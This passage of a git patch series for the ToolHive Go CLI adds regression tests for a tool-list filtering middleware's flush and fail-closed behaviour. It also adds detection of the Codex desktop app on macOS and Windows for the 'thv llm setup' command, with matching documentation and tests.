+ expectError: true, }, { name: "Empty buffer", @@ -887,9 +953,9 @@ data: {"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"allowed_tool","descrip "any_tool": {}, }, }, - buffer: []byte{}, - mimeType: "application/json", - expectError: false, + buffer: []byte{}, + mimeType: "application/json", + successResponse: true, }, } @@ -898,12 +964,19 @@ data: {"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"allowed_tool","descrip t.Parallel() var buf bytes.Buffer - err := processBuffer(tt.config, tt.buffer, tt.mimeType, &buf) + err := processBuffer(tt.config, tt.buffer, tt.mimeType, tt.successResponse, &buf) if tt.expectError { assert.Error(t, err) - } else { - assert.NoError(t, err) + assert.Equal(t, tt.expectUnsupported, errors.Is(err, errUnsupportedMimeType), + "errors.Is(err, errUnsupportedMimeType) mismatch") + return + } + + require.NoError(t, err) + if tt.expectFiltered { + assert.Contains(t, buf.String(), "allowed_tool") + assert.NotContains(t, buf.String(), "blocked_tool") } }) } @@ -1282,6 +1355,98 @@ func TestToolFilterWriter_Flush_NoContentTypeDoesNotDuplicateOnRepeatedFlush(t * assert.Equal(t, string(data), mockWriter.buffer.String(), "second flush should not rewrite already-flushed bytes") } +// TestToolFilterWriter_Flush_IncompleteBodyStaysBufferedAndDoesNotFlush is a +// regression test for a follow-up to #5809: Flush() must not forward the +// transport-level flush when the buffered body is incomplete (an SSE event +// with no trailing separator, or a truncated JSON object). Forwarding it +// there would flush a partial frame to the wire; the original Flush() +// implementation returned before reaching the transport flush in this case, +// but an early refactor of this fix lost that guard. +func TestToolFilterWriter_Flush_IncompleteBodyStaysBufferedAndDoesNotFlush(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + contentType string + writeData []byte + }{ + { + name: "truncated JSON", + contentType: "application/json", + writeData: []byte(`{"jsonrpc":"2.0","id":1,"result":{"tools":[{"name"`), + }, + { + name: "SSE event with no trailing separator", + contentType: "text/event-stream", + writeData: []byte(`data: {"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"tool1"}]}}`), + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + mockWriter := &mockResponseWriter{ + headers: make(http.Header), + buffer: &bytes.Buffer{}, + } + mockWriter.headers.Set("Content-Type", tt.contentType) + + rw := &toolFilterWriter{ + ResponseWriter: mockWriter, + config: &toolMiddlewareConfig{}, + statusCode: http.StatusOK, + } + + _, err := rw.Write(tt.writeData) + require.NoError(t, err) + + rw.Flush() + + assert.Equal(t, 0, mockWriter.writeCount, "incomplete body must not be written to the client yet") + assert.Equal(t, 0, mockWriter.flushCount, "an incomplete body must not trigger a transport-level flush") + assert.Equal(t, tt.writeData, rw.buffer, "incomplete body must remain buffered for a later Flush") + }) + } +} + +// TestToolFilterWriter_FlushThenFinishDoesNotDuplicate is a regression test +// for a follow-up to #5809: once an explicit Flush() has fully drained and +// processed a body, a later terminal finish() call (e.g. because the +// wrapped ServeHTTP has returned) must be a no-op -- it must not rewrite the +// body a second time, and must not trigger an extra transport-level flush, +// since finish() never forwards one by design. +func TestToolFilterWriter_FlushThenFinishDoesNotDuplicate(t *testing.T) { + t.Parallel() + + mockWriter := &mockResponseWriter{ + headers: make(http.Header), + buffer: &bytes.Buffer{}, + } + mockWriter.headers.Set("Content-Type", "application/json") + + rw := &toolFilterWriter{ + ResponseWriter: mockWriter, + config: &toolMiddlewareConfig{filterTools: map[string]struct{}{"tool1": {}}}, + statusCode: http.StatusOK, + } + + body := `{"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"tool1","description":"d1"},{"name":"tool2","description":"d2"}]}}` + _, err := rw.Write([]byte(body)) + require.NoError(t, err) + + rw.Flush() + require.Equal(t, 1, mockWriter.writeCount, "Flush should have written the filtered body exactly once") + require.Equal(t, 1, mockWriter.flushCount, "Flush should have forwarded exactly one transport flush") + + rw.finish() + + assert.Equal(t, 1, mockWriter.writeCount, "finish must not rewrite a body Flush already drained") + assert.Equal(t, 1, mockWriter.flushCount, "finish must not forward an additional transport flush") + assert.Contains(t, mockWriter.buffer.String(), "tool1") + assert.NotContains(t, mockWriter.buffer.String(), "tool2") +} + // TestToolFilterWriter_WriteHeader verifies that Content-Length is stripped // from the underlying ResponseWriter's headers regardless of content type. // The middleware re-encodes tool list responses to apply filters/overrides, @@ -1344,12 +1509,14 @@ func TestToolFilterWriter_WriteHeader(t *testing.T) { } } -// mockResponseWriter implements http.ResponseWriter for testing +// mockResponseWriter implements http.ResponseWriter (and http.Flusher, so +// tests can observe whether a transport-level flush was forwarded) for testing. type mockResponseWriter struct { headers http.Header buffer *bytes.Buffer writeCount int statusCode int + flushCount int } func (m *mockResponseWriter) Header() http.Header { @@ -1365,6 +1532,10 @@ func (m *mockResponseWriter) WriteHeader(statusCode int) { m.statusCode = statusCode } +func (m *mockResponseWriter) Flush() { + m.flushCount++ +} + func TestNewToolFilterMiddleware(t *testing.T) { t.Parallel() @@ -1569,3 +1740,138 @@ func TestNewListToolsMappingMiddleware_FlushesStrandedBuffer(t *testing.T) { assert.Contains(t, recorder.Body.String(), "tool1") assert.NotContains(t, recorder.Body.String(), "tool2") } + +// TestNewListToolsMappingMiddleware_TerminalDrainPassesThroughUnsupportedContentType +// is a regression test for a follow-up to #5797/#5809: the terminal drain added +// to flush a stranded buffer must not discard a body it doesn't know how to +// process. An inner handler that fails with a plain-text error (e.g. +// http.Error, which sets "text/plain; charset=utf-8") is neither +// application/json nor text/event-stream, so processBuffer() rejects it with +// an "unsupported mime type" error. Before this fix, that error path wrote an +// empty buffer to the client and discarded the original error body. +func TestNewListToolsMappingMiddleware_TerminalDrainPassesThroughUnsupportedContentType(t *testing.T) { + t.Parallel() + + middleware, err := NewListToolsMappingMiddleware(WithToolsFilter("tool1")) + require.NoError(t, err) + + tests := []struct { + name string + statusCode int + }{ + {name: "4xx body", statusCode: http.StatusBadRequest}, + {name: "5xx body", statusCode: http.StatusInternalServerError}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + inner := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + http.Error(w, "backend unavailable", tt.statusCode) + }) + + handler := middleware(inner) + + req := httptest.NewRequest(http.MethodPost, "/", nil) + recorder := httptest.NewRecorder() + + handler.ServeHTTP(recorder, req) + + assert.Equal(t, tt.statusCode, recorder.Code) + assert.Contains(t, recorder.Body.String(), "backend unavailable", + "the original error body must reach the client unchanged") + }) + } +} + +// TestNewListToolsMappingMiddleware_FailsClosedOnMalformedToolsList is a +// regression test for a follow-up to #5809: a successful, correctly-labeled +// tools/list response that fails our own filtering logic (here, a tool +// missing its required name) must not fall back to passing the raw, +// unfiltered body through -- that would defeat the tool filter entirely. +func TestNewListToolsMappingMiddleware_FailsClosedOnMalformedToolsList(t *testing.T) { + t.Parallel() + + middleware, err := NewListToolsMappingMiddleware(WithToolsFilter("tool1")) + require.NoError(t, err) + + // "blocked_tool" is missing its required "name" field, so filtering fails. + body := `{"jsonrpc":"2.0","id":1,"result":{"tools":[` + + `{"name":"tool1","description":"desc1"},` + + `{"description":"missing name"}]}}` + + inner := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusOK) + _, writeErr := w.Write([]byte(body)) + require.NoError(t, writeErr) + }) + + handler := middleware(inner) + + req := httptest.NewRequest(http.MethodPost, "/", nil) + recorder := httptest.NewRecorder() + + handler.ServeHTTP(recorder, req) + + assert.NotContains(t, recorder.Body.String(), "tool1", + "a hard filtering failure must not leak the unfiltered tools list") + assert.NotContains(t, recorder.Body.String(), "missing name") +} + +// TestNewListToolsMappingMiddleware_MissingContentTypeCannotSmuggleToolsList +// is a regression test for a follow-up to #5809: a backend cannot bypass the +// configured tool filter by returning an otherwise-valid, successful +// tools/list response without a Content-Type header (or with an unrelated +// one). Covers both wire formats the filter supports. +func TestNewListToolsMappingMiddleware_MissingContentTypeCannotSmuggleToolsList(t *testing.T) { + t.Parallel() + + middleware, err := NewListToolsMappingMiddleware(WithToolsFilter("tool1")) + require.NoError(t, err) + + tests := []struct { + name string + body string + }{ + { + name: "JSON tools list with no Content-Type", + body: `{"jsonrpc":"2.0","id":1,"result":{"tools":[` + + `{"name":"tool1","description":"desc1"},` + + `{"name":"tool2","description":"desc2"}]}}`, + }, + { + name: "SSE tools list with no Content-Type", + body: "event: message\n" + + `data: {"jsonrpc":"2.0","id":1,"result":{"tools":[` + + `{"name":"tool1","description":"desc1"},` + + `{"name":"tool2","description":"desc2"}]}}` + "\n\n", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + inner := http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + // No Content-Type set: the backend is either buggy or actively + // trying to bypass the filter by not declaring one. + w.WriteHeader(http.StatusOK) + _, writeErr := w.Write([]byte(tt.body)) + require.NoError(t, writeErr) + }) + + handler := middleware(inner) + + req := httptest.NewRequest(http.MethodPost, "/", nil) + recorder := httptest.NewRecorder() + + handler.ServeHTTP(recorder, req) + + assert.Contains(t, recorder.Body.String(), "tool1") + assert.NotContains(t, recorder.Body.String(), "tool2", + "the excluded tool must not be exposed just because Content-Type was missing") + }) + } +} From b80f1c30b6c3640f0867e6f54b0c1aebca314443 Mon Sep 17 00:00:00 2001 From: Juan Antonio Osorio Date: Wed, 15 Jul 2026 18:26:05 +0300 Subject: [PATCH 54/66] Add Codex App LLM setup support (#5810) * Add Codex App LLM setup support Detect Codex desktop installations on macOS and Windows so app-only users can configure the shared Codex model provider through thv llm setup. Keep one canonical Codex configuration and teardown path for both the CLI and desktop app. Signed-off-by: Juan Antonio Osorio * Address review comments on Codex desktop detection - Log detector errors at WARN instead of silently swallowing them - Invoke plutil by absolute path (/usr/bin/plutil) to avoid PATH resolution failures in stripped environments - Refactor to a per-client LLMInstalledDetector hook, removing the hardcoded Codex branch and duplicated CLI detection logic - Guard lookPath consistently in the shared detection path - Tighten the #nosec G204 justification --------- Signed-off-by: Juan Antonio Osorio --- cmd/thv/app/llm.go | 12 ++- docs/cli/thv_llm_setup.md | 12 ++- pkg/client/codex_desktop.go | 92 ++++++++++++++++++ pkg/client/codex_desktop_test.go | 139 +++++++++++++++++++++++++++ pkg/client/config.go | 13 ++- pkg/client/discovery.go | 17 +++- pkg/client/llm_gateway.go | 86 ++++++++++++----- pkg/client/llm_gateway_test.go | 58 +++++++++++ test/e2e/cli_llm_all_clients_test.go | 71 ++++++++++++++ 9 files changed, 463 insertions(+), 37 deletions(-) create mode 100644 pkg/client/codex_desktop.go create mode 100644 pkg/client/codex_desktop_test.go diff --git a/cmd/thv/app/llm.go b/cmd/thv/app/llm.go index 4a740f075f..5327873ea1 100644 --- a/cmd/thv/app/llm.go +++ b/cmd/thv/app/llm.go @@ -246,9 +246,13 @@ which also calls "thv llm token". It reads its configuration only at launch, so fully quit and relaunch it after setup. Pass --models to list the models it should offer until the gateway serves model discovery itself. -Codex is configured with a custom model_provider in ~/.codex/config.toml whose -auth command invokes "thv llm token" directly (no shell), keeping the existing -model_providers and mcp_servers entries in that file untouched. +Codex CLI and the ChatGPT desktop app use the same user configuration: +~/.codex/config.toml by default, or %USERPROFILE%\.codex\config.toml on Windows. +ToolHive adds a custom model_provider whose auth command invokes "thv llm token" +directly (no shell), keeping existing model_providers and mcp_servers entries +untouched. Desktop app detection is supported on macOS and Windows; the canonical +--client target remains "codex". If the desktop app is running, fully quit and +reopen it after setup. Proxy-mode tools (Cursor, VS Code, Xcode) are configured to send requests to the localhost reverse proxy started by "thv llm proxy start". @@ -296,7 +300,7 @@ Run "thv llm teardown" to revert all changes.`, "Path prefix appended to the gateway URL when writing ANTHROPIC_BASE_URL for direct-mode tools "+ "(e.g. /anthropic). When omitted, the gateway is probed automatically.") cmd.Flags().StringVar(&targetClient, "client", "", - "Configure only this AI tool by name (e.g. claude-code, cursor). Omit to configure all detected tools.") + "Configure only this AI tool by name (e.g. claude-code, cursor, codex). Omit to configure all detected tools.") cmd.Flags().BoolVar(&lazy, "lazy", false, "Skip the interactive OIDC login and defer it until the first time a configured tool "+ "accesses the gateway. Tool config and persisted settings are written normally. "+ diff --git a/docs/cli/thv_llm_setup.md b/docs/cli/thv_llm_setup.md index 672d583003..409b03de12 100644 --- a/docs/cli/thv_llm_setup.md +++ b/docs/cli/thv_llm_setup.md @@ -27,9 +27,13 @@ which also calls "thv llm token". It reads its configuration only at launch, so fully quit and relaunch it after setup. Pass --models to list the models it should offer until the gateway serves model discovery itself. -Codex is configured with a custom model_provider in ~/.codex/config.toml whose -auth command invokes "thv llm token" directly (no shell), keeping the existing -model_providers and mcp_servers entries in that file untouched. +Codex CLI and the ChatGPT desktop app use the same user configuration: +~/.codex/config.toml by default, or %USERPROFILE%\.codex\config.toml on Windows. +ToolHive adds a custom model_provider whose auth command invokes "thv llm token" +directly (no shell), keeping existing model_providers and mcp_servers entries +untouched. Desktop app detection is supported on macOS and Windows; the canonical +--client target remains "codex". If the desktop app is running, fully quit and +reopen it after setup. Proxy-mode tools (Cursor, VS Code, Xcode) are configured to send requests to the localhost reverse proxy started by "thv llm proxy start". @@ -53,7 +57,7 @@ thv llm setup [flags] --anthropic-path-prefix string Path prefix appended to the gateway URL when writing ANTHROPIC_BASE_URL for direct-mode tools (e.g. /anthropic). When omitted, the gateway is probed automatically. --audience string OIDC audience (optional) --callback-port int OIDC callback port (omit to keep current; default: ephemeral) - --client string Configure only this AI tool by name (e.g. claude-code, cursor). Omit to configure all detected tools. + --client string Configure only this AI tool by name (e.g. claude-code, cursor, codex). Omit to configure all detected tools. --client-id string OIDC client ID --gateway-url string LLM gateway base URL (must use HTTPS) -h, --help help for setup diff --git a/pkg/client/codex_desktop.go b/pkg/client/codex_desktop.go new file mode 100644 index 0000000000..085c6dd15a --- /dev/null +++ b/pkg/client/codex_desktop.go @@ -0,0 +1,92 @@ +// SPDX-FileCopyrightText: Copyright 2026 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "bytes" + "fmt" + "log/slog" + "os" + "os/exec" + "path/filepath" +) + +const ( + codexBundleIdentifier = "com.openai.codex" + codexWindowsPackageFamily = "OpenAI.Codex_2p2nqsd0c76g0" + codexWindowsPackageName = "OpenAI.Codex" + codexWindowsInstalledMark = "installed" + // plutilPath is the absolute path to plutil on macOS. Using the absolute + // path avoids PATH-resolution failures in stripped-environment contexts + // (launchd jobs, sandboxes, CI) where /usr/bin is not on $PATH. + plutilPath = "/usr/bin/plutil" +) + +type codexDesktopDetector struct { + homeDir string + goos string + stat func(string) (os.FileInfo, error) + command func(string, ...string) ([]byte, error) +} + +func newCodexDesktopDetector(homeDir, goos string) codexDesktopDetector { + return codexDesktopDetector{ + homeDir: homeDir, + goos: goos, + stat: os.Stat, + command: func(name string, args ...string) ([]byte, error) { + // #nosec G204 -- the command name is a fixed compile-time literal + // ("plutil" or "powershell.exe"); args include derived file paths + // from os.UserHomeDir, not user input. + return exec.Command(name, args...).Output() + }, + } +} + +func (d codexDesktopDetector) installed() (bool, error) { + switch d.goos { + case "darwin": + return d.installedOnDarwin() + case "windows": + return d.installedOnWindows() + default: + return false, nil + } +} + +func (d codexDesktopDetector) installedOnDarwin() (bool, error) { + applicationDirs := []string{"/Applications", filepath.Join(d.homeDir, "Applications")} + for _, dir := range applicationDirs { + for _, appName := range []string{"Codex.app", "ChatGPT.app"} { + infoPlist := filepath.Join(dir, appName, "Contents", "Info.plist") + if _, err := d.stat(infoPlist); err != nil { + continue + } + output, err := d.command(plutilPath, "-extract", "CFBundleIdentifier", "raw", "-o", "-", infoPlist) + if err != nil { + // Log the plutil failure so it's distinguishable from "app absent." + // A failure here means the plist exists but its bundle identifier + // could not be extracted (e.g. plist corruption or plutil error). + slog.Warn("failed to extract CFBundleIdentifier from Codex app plist", + "app", appName, "plist", infoPlist, "error", err) + continue + } + if string(bytes.TrimSpace(output)) == codexBundleIdentifier { + return true, nil + } + } + } + return false, nil +} + +func (d codexDesktopDetector) installedOnWindows() (bool, error) { + const query = "$p = Get-AppxPackage -Name '" + codexWindowsPackageName + "' -ErrorAction SilentlyContinue | " + + "Where-Object { $_.PackageFamilyName -eq '" + codexWindowsPackageFamily + "' -and $_.SignatureKind -eq 'Store' } | " + + "Select-Object -First 1; if ($p) { Write-Output '" + codexWindowsInstalledMark + "' }" + output, err := d.command("powershell.exe", "-NoProfile", "-NonInteractive", "-Command", query) + if err != nil { + return false, fmt.Errorf("querying Codex Microsoft Store package: %w", err) + } + return string(bytes.TrimSpace(output)) == codexWindowsInstalledMark, nil +} diff --git a/pkg/client/codex_desktop_test.go b/pkg/client/codex_desktop_test.go new file mode 100644 index 0000000000..b0e49ff3f9 --- /dev/null +++ b/pkg/client/codex_desktop_test.go @@ -0,0 +1,139 @@ +// SPDX-FileCopyrightText: Copyright 2026 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "errors" + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestCodexDesktopDetectorDarwin(t *testing.T) { + t.Parallel() + + home := filepath.Join(string(filepath.Separator), "Users", "test") + candidates := []string{ + filepath.Join("/Applications", "Codex.app", "Contents", "Info.plist"), + filepath.Join("/Applications", "ChatGPT.app", "Contents", "Info.plist"), + filepath.Join(home, "Applications", "Codex.app", "Contents", "Info.plist"), + filepath.Join(home, "Applications", "ChatGPT.app", "Contents", "Info.plist"), + } + + t.Run("checks all exact candidates without invoking plutil when absent", func(t *testing.T) { + t.Parallel() + var checked []string + commandCalled := false + detector := codexDesktopDetector{ + homeDir: home, + goos: "darwin", + stat: func(path string) (os.FileInfo, error) { + checked = append(checked, path) + return nil, os.ErrNotExist + }, + command: func(_ string, _ ...string) ([]byte, error) { + commandCalled = true + return nil, nil + }, + } + + installed, err := detector.installed() + require.NoError(t, err) + assert.False(t, installed) + assert.Equal(t, candidates, checked) + assert.False(t, commandCalled) + }) + + tests := []struct { + name string + bundleID string + commandErr error + want bool + }{ + {name: "accepts exact Codex bundle identifier", bundleID: codexBundleIdentifier, want: true}, + {name: "rejects ChatGPT bundle identifier", bundleID: "com.openai.chat"}, + {name: "plutil failure is not detected", commandErr: errors.New("plutil failed")}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + plist := candidates[0] + detector := codexDesktopDetector{ + homeDir: home, + goos: "darwin", + stat: func(path string) (os.FileInfo, error) { + if path == plist { + return nil, nil + } + return nil, os.ErrNotExist + }, + command: func(name string, args ...string) ([]byte, error) { + assert.Equal(t, plutilPath, name) + assert.Equal(t, []string{"-extract", "CFBundleIdentifier", "raw", "-o", "-", plist}, args) + return []byte(tt.bundleID + "\n"), tt.commandErr + }, + } + + installed, err := detector.installed() + require.NoError(t, err) + assert.Equal(t, tt.want, installed) + }) + } +} + +func TestCodexDesktopDetectorWindows(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + output string + commandErr error + want bool + wantErr bool + }{ + {name: "accepts installed marker after filtering multiple objects", output: codexWindowsInstalledMark + "\r\n", want: true}, + {name: "rejects marker mixed with output from another object", output: "noise\r\n" + codexWindowsInstalledMark + "\r\n"}, + {name: "rejects no matching package", output: ""}, + {name: "query failure", commandErr: errors.New("query failed"), wantErr: true}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + detector := codexDesktopDetector{ + goos: "windows", + command: func(name string, args ...string) ([]byte, error) { + assert.Equal(t, "powershell.exe", name) + require.Len(t, args, 4) + assert.Equal(t, []string{"-NoProfile", "-NonInteractive", "-Command"}, args[:3]) + assert.Contains(t, args[3], "Get-AppxPackage -Name 'OpenAI.Codex'") + assert.Contains(t, args[3], "Where-Object") + assert.Contains(t, args[3], "$_.PackageFamilyName -eq 'OpenAI.Codex_2p2nqsd0c76g0'") + assert.Contains(t, args[3], "$_.SignatureKind -eq 'Store'") + assert.Contains(t, args[3], "Select-Object -First 1") + assert.Contains(t, args[3], "Write-Output 'installed'") + return []byte(tt.output), tt.commandErr + }, + } + + installed, err := detector.installed() + if tt.wantErr { + require.Error(t, err) + } else { + require.NoError(t, err) + } + assert.Equal(t, tt.want, installed) + }) + } +} + +func TestCodexDesktopDetectorUnsupportedPlatform(t *testing.T) { + t.Parallel() + + installed, err := (codexDesktopDetector{goos: "linux"}).installed() + require.NoError(t, err) + assert.False(t, installed) +} diff --git a/pkg/client/config.go b/pkg/client/config.go index b7ac5a59bd..aeea686d2e 100644 --- a/pkg/client/config.go +++ b/pkg/client/config.go @@ -85,7 +85,7 @@ const ( VSCodeServer ClientApp = "vscode-server" // MistralVibe represents the Mistral Vibe IDE. MistralVibe ClientApp = "mistral-vibe" - // Codex represents the OpenAI Codex CLI. + // Codex represents the OpenAI Codex CLI and desktop app. Codex ClientApp = "codex" // KimiCli represents the Kimi Code CLI. KimiCli ClientApp = "kimi-cli" @@ -245,8 +245,8 @@ type clientAppConfig struct { // If nil or missing an entry for the current OS, no prefix is added. PluginsPlatformPrefix map[Platform][]string // LLM gateway configuration ───────────────────────────────────────────── - // LLMGatewayMode is "direct" (token-helper) or "proxy" (static key via - // localhost reverse proxy), or "" when the tool has no LLM gateway support. + // LLMGatewayMode identifies the gateway integration strategy (direct token + // helper, proxy, credential helper, or Codex auth), or "" when unsupported. LLMGatewayMode string // LLMBinaryName is the executable name looked up via exec.LookPath to // confirm the tool is actually installed (not just a leftover config @@ -286,6 +286,13 @@ type clientAppConfig struct { // LLMSettingsRelPath / LLMSettingsPlatformPrefix. LLMDetectRelPath []string LLMDetectPlatformPrefix map[Platform][]string + // LLMInstalledDetector is an optional per-client detection hook that runs + // in addition to the shared settings-dir + binary-on-PATH check. Used by + // clients that have installation evidence beyond the CLI (e.g. Codex's + // desktop app). When set, the client is considered installed if either + // the shared check or this hook returns true. The hook must be set at + // construction time (NewClientManager), not in static config. + LLMInstalledDetector func() (bool, error) // LLMManagedProfileDomain is the macOS managed-preferences plist domain // (e.g. "com.anthropic.claudefordesktop.plist") that, when present, overrides // the client's local config. Setup warns when detected. Empty when the client diff --git a/pkg/client/discovery.go b/pkg/client/discovery.go index e4e6d1f0cc..5173b2dd24 100644 --- a/pkg/client/discovery.go +++ b/pkg/client/discovery.go @@ -47,16 +47,29 @@ func NewClientManager() (*ClientManager, error) { groupManager = nil } + // Copy the static integration list so we can wire per-client detectors + // without mutating the shared supportedClientIntegrations slice. + integrations := make([]clientAppConfig, len(supportedClientIntegrations)) + copy(integrations, supportedClientIntegrations) + codexDetector := newCodexDesktopDetector(home, runtime.GOOS).installed + for i := range integrations { + if integrations[i].ClientType == Codex { + integrations[i].LLMInstalledDetector = codexDetector + break + } + } + return &ClientManager{ homeDir: home, groupManager: groupManager, - clientIntegrations: supportedClientIntegrations, + clientIntegrations: integrations, configProvider: config.NewDefaultProvider(), lookPath: exec.LookPath, }, nil } -// NewTestClientManager creates a new ClientManager with test dependencies +// NewTestClientManager creates a ClientManager with test dependencies. Native +// Codex desktop detection is intentionally omitted to keep tests deterministic. func NewTestClientManager( homeDir string, groupManager groups.Manager, diff --git a/pkg/client/llm_gateway.go b/pkg/client/llm_gateway.go index c3c3a00d99..ef7dc8eb8d 100644 --- a/pkg/client/llm_gateway.go +++ b/pkg/client/llm_gateway.go @@ -6,6 +6,7 @@ package client import ( "encoding/json" "fmt" + "log/slog" "os" "path/filepath" "strconv" @@ -261,7 +262,8 @@ func (cm *ClientManager) IsManaged(clientType ClientApp) bool { return cfg != nil && managedProfilePresent(cfg.LLMManagedProfileDomain) } -// LLMGatewayModeFor returns "direct", "proxy", or "" for the given client. +// LLMGatewayModeFor returns the client's configured gateway integration mode, +// or "" when the client is unknown or does not support an LLM gateway. func (cm *ClientManager) LLMGatewayModeFor(clientType ClientApp) string { cfg := cm.lookupClientAppConfig(clientType) if cfg == nil { @@ -271,12 +273,14 @@ func (cm *ClientManager) LLMGatewayModeFor(clientType ClientApp) string { } // DetectedLLMGatewayClients returns the subset of LLM-gateway-capable clients -// that are installed on this machine. A client is considered installed when: -// 1. Its settings directory exists on disk. -// 2. If LLMBinaryName is set, the binary is also present on $PATH. +// that are installed on this machine. Most clients require their settings +// directory and, when configured, their binary on $PATH. A client with an +// LLMInstalledDetector hook (e.g. Codex's desktop app) is also detected when +// the hook returns true; CLI and desktop evidence still produce one canonical +// result. // -// The binary check prevents false positives from leftover config directories -// (e.g. ~/.claude or ~/.gemini) that remain after a tool is uninstalled. +// Requiring both CLI signals prevents false positives from leftover config +// directories (e.g. ~/.claude or ~/.gemini) after a tool is uninstalled. func (cm *ClientManager) DetectedLLMGatewayClients() []ClientApp { var result []ClientApp for i := range cm.clientIntegrations { @@ -284,29 +288,63 @@ func (cm *ClientManager) DetectedLLMGatewayClients() []ClientApp { if cfg.LLMGatewayMode == "" { continue } - // Detection directory: for GUI apps whose settings directory does not - // exist until first configured (e.g. Claude Desktop's configLibrary), - // LLMDetectRelPath points at a directory that exists once the app is - // installed. Otherwise fall back to the settings directory. - detectDir := func() string { - if cfg.LLMDetectRelPath != nil { - return buildConfigFilePath("", cfg.LLMDetectRelPath, cfg.LLMDetectPlatformPrefix, []string{cm.homeDir}) - } - return filepath.Dir(cm.buildLLMSettingsPath(cfg)) - }() - if _, err := os.Stat(detectDir); err != nil { - continue - } - if cfg.LLMBinaryName != "" { - if _, err := cm.lookPath(cfg.LLMBinaryName); err != nil { - continue - } + if cm.isClientInstalled(cfg) { + result = append(result, cfg.ClientType) } - result = append(result, cfg.ClientType) } return result } +// isClientInstalled reports whether a single LLM-gateway-capable client appears +// to be installed. The shared check (settings/detection directory exists and, +// when configured, the binary is on $PATH) is augmented by an optional +// per-client LLMInstalledDetector hook (e.g. Codex desktop app detection). +func (cm *ClientManager) isClientInstalled(cfg *clientAppConfig) bool { + if cm.sharedCLIDetection(cfg) { + return true + } + if cfg.LLMInstalledDetector == nil { + return false + } + installed, err := cfg.LLMInstalledDetector() + if err != nil { + // Log the detector failure so it's distinguishable from "not installed" + // rather than silently treating a detection error as absence. + slog.Warn("LLM client detection hook failed", + "client", cfg.ClientType, "error", err) + return false + } + return installed +} + +// sharedCLIDetection implements the generic CLI detection shared by all +// LLM-gateway-capable clients: the detection directory (or settings directory) +// must exist, and when LLMBinaryName is set the binary must be found on $PATH. +func (cm *ClientManager) sharedCLIDetection(cfg *clientAppConfig) bool { + // Detection directory: for GUI apps whose settings directory does not + // exist until first configured (e.g. Claude Desktop's configLibrary), + // LLMDetectRelPath points at a directory that exists once the app is + // installed. Otherwise fall back to the settings directory. + detectDir := func() string { + if cfg.LLMDetectRelPath != nil { + return buildConfigFilePath("", cfg.LLMDetectRelPath, cfg.LLMDetectPlatformPrefix, []string{cm.homeDir}) + } + return filepath.Dir(cm.buildLLMSettingsPath(cfg)) + }() + if _, err := os.Stat(detectDir); err != nil { + return false + } + if cfg.LLMBinaryName != "" { + if cm.lookPath == nil { + return false + } + if _, err := cm.lookPath(cfg.LLMBinaryName); err != nil { + return false + } + } + return true +} + // buildLLMSettingsPath resolves the absolute path to the LLM settings file // for the given client using the same PlatformPrefix logic as MCP config paths. func (cm *ClientManager) buildLLMSettingsPath(cfg *clientAppConfig) string { diff --git a/pkg/client/llm_gateway_test.go b/pkg/client/llm_gateway_test.go index 434723d7d4..7f41faaaeb 100644 --- a/pkg/client/llm_gateway_test.go +++ b/pkg/client/llm_gateway_test.go @@ -5,6 +5,7 @@ package client import ( "encoding/json" + "errors" "os" "path/filepath" "strings" @@ -447,6 +448,62 @@ func TestConfigureLLMGateway_ProxyMode(t *testing.T) { // ── DetectedLLMGatewayClients ───────────────────────────────────────────────── +func TestDetectedLLMGatewayClients_Codex(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + configDir bool + binary bool + desktop bool + detectorErr error + nilDetector bool + want bool + }{ + {name: "CLI only", configDir: true, binary: true, want: true}, + {name: "app only without config directory or PATH", desktop: true, want: true}, + {name: "CLI and app append once", configDir: true, binary: true, desktop: true, want: true}, + {name: "stale settings only", configDir: true}, + {name: "no CLI or desktop evidence"}, + {name: "nil desktop detector is not detected", nilDetector: true}, + {name: "detector failure is not detected", detectorErr: errors.New("query failed")}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + home := t.TempDir() + cfgs := []clientAppConfig{{ + ClientType: Codex, + LLMGatewayMode: llmgateway.ModeCodexAuth, + LLMBinaryName: "codex", + LLMSettingsFile: "config.toml", + LLMSettingsRelPath: []string{".codex"}, + }} + if !tt.nilDetector { + cfgs[0].LLMInstalledDetector = func() (bool, error) { return tt.desktop, tt.detectorErr } + } + if tt.configDir { + require.NoError(t, os.MkdirAll(filepath.Join(home, ".codex"), 0o700)) + } + cm := NewTestClientManager(home, nil, cfgs, nil) + cm.lookPath = func(_ string) (string, error) { + if tt.binary { + return "/bin/codex", nil + } + return "", os.ErrNotExist + } + + detected := cm.DetectedLLMGatewayClients() + if tt.want { + require.Equal(t, []ClientApp{Codex}, detected) + } else { + assert.Empty(t, detected) + } + }) + } +} + // TestDetectedLLMGatewayClients_DirOnly verifies that a client without a // BinaryName set is detected based solely on the settings directory existing. func TestDetectedLLMGatewayClients_DirOnly(t *testing.T) { @@ -561,6 +618,7 @@ func TestRealClientConfigs_LLMBinaryNames(t *testing.T) { Cursor: "cursor", ClaudeCode: "claude", GeminiCli: "gemini", + Codex: "codex", // Tools without a binary check (dir-only detection) are omitted. } diff --git a/test/e2e/cli_llm_all_clients_test.go b/test/e2e/cli_llm_all_clients_test.go index dac6de2817..8a704af58d 100644 --- a/test/e2e/cli_llm_all_clients_test.go +++ b/test/e2e/cli_llm_all_clients_test.go @@ -1083,6 +1083,77 @@ var _ = 